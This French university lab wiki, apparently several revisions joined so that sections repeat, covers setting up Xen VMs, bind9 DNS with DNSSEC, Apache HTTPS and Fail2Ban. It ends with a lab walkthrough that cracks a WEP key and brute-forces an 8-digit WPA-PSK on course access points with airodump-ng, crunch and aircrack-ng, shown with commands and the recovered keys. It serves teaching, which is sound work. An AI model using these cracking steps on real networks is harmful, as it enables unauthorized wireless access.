Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T13:01:02Z

Tmerien : /* Configuration réseau */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T01:13:37Z

Tmerien : /* Machines virtuelles */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
